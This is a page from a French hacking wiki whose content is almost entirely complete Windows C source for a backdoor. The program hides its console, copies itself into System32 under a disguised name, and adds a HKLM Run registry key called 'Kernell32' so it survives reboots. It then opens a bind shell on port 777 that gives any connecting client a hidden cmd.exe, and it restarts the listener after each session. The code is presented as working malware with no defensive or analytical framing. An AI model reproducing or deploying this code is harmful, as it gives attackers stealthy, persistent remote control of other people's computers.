Un article de HackaWiki.
#define WIN32_LEAN_AND_MEAN
#define MAX 256
// Includes -
#include <windows.h>
#include <winsock2.h>
#include <string.h>
// Project - Settings - Link > Object/Library modules 'Ws2_32.lib'
#pragma comment (lib,"Ws2_32.lib")
HKEY hKey;
int port = 777; // Port par défaut (à définir selon) -
// Allocation mémoire pour le nom de l'exécutable -
char Name[] = "WinNT.exe";
// Allocation mémoire pour la clé de registre -
char nKey[] = "Kernell32";
// Allocation mémoire pour le 'path' original de l'exécutable -
char lpMdFileName[MAX];
// Allocation pour le chemin du répertoire System32 + \WinNT.exe -
char lpSystemDir [MAX];
void main( void )
{
FreeConsole(); // Détachement console (optionnel) -
// Fonction pour retrouver le répertoire system32 -
GetSystemDirectory( lpSystemDir, sizeof( lpSystemDir ) );
strcat( lpSystemDir, "\\" ); // (...) system32/
strcat( lpSystemDir, Name ); // (...) system32/WinNT.exe
// Chemin d'accès actuel de l'exécutable -
GetModuleFileName( NULL, lpMdFileName, sizeof( lpMdFileName ) );
// Si le fichier est absent, on le duplique dans /system32 -
// On inscrit aussi une clé spécifique dans le registre HKLM -
if ( GetFileAttributes ( lpSystemDir ) & 0x80000000 ) // Absent -
{
// Copie vers le répertoire System -
CopyFile( lpMdFileName, lpSystemDir, NULL);
// Création d'une clé de registre -
RegCreateKey( HKEY_LOCAL_MACHINE, // HKML -
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
&hKey);
// Affectation d'une valeur à notre clé -
RegSetValueEx( hKey,
nKey,
0,
REG_SZ,
(PBYTE)lpSystemDir,
lstrlen(lpSystemDir)+1);
// Fermeture de notre clé -
RegCloseKey(hKey);
}
WSADATA wsa; // Constructeur wsa -
SOCKET sck; // Constructeur socket -
SOCKADDR_IN sAddr; // Constructeur rapport serveur -
PROCESS_INFORMATION pi; // Constructeur Info sur service CMD -
STARTUPINFO si; // Constructeur Info de démarrage CMD -
_StartUp: // Boucle en cas de clôture du rapport -
WSAStartup( 0x0202, &wsa ); // Version 2 du socket Win32 -
memset( &si, 0, sizeof( si ) ); // Initialisation de &si à 0 -
si.cb = sizeof( si ); // sizeof -
si.wShowWindow = SW_HIDE; // Option masquée de la console -
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; // Flag -
// Acceptation d'un client éventuel sans restriction -
sAddr.sin_addr.s_addr = INADDR_ANY;
sAddr.sin_port = htons( port ); // Port -
sAddr.sin_family = AF_INET; // Adresse Internet selon 4 octets -
// On accepte le client pour le rapport distant -
sck = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 );
// Point de communication (ou s'il y a un problème, on termine) -
if( bind( sck, ( LPSOCKADDR )&sAddr, sizeof( sAddr ) )
== INVALID_SOCKET ){return;}
// Ecoute du socket avec un maximum de 5 requêtes simultanées -
listen( sck, 5 );
sck = accept( sck, NULL, NULL );
// InPut & OutPut pour redirection sur handle du socket -
si.hStdInput = ( HANDLE )sck;
si.hStdOutput = ( HANDLE )sck;
si.hStdError = ( HANDLE )sck;
// Création du process CMD -
CreateProcess( NULL,
"cmd.exe", // Notre service CMD -
NULL, // Aucune ligne de commande de base -
NULL, // Null par défaut -
TRUE, // Attributs du Thread -
0, // Flag Null -
NULL, // Null par défaut -
NULL, // Null par défaut -
&si, // Pointeur STARTUPINFO -
&pi ); // Pointeur PROCESS_INFORMATION -
// Attente d'un évènement sur le process CMD sans limite de temps -
WaitForSingleObject( pi.hProcess, INFINITE );
// En cas d'évènement ou erreur, on rend la main ...
_bad:
CloseHandle( pi.hProcess ); // Sur le process -
CloseHandle( pi.hThread ); // Sur le thread -
closesocket( sck ); // Sur le socket -
WSACleanup(); // Eradication du socket -
goto _StartUp; // Boucle pour remise en écoute -
}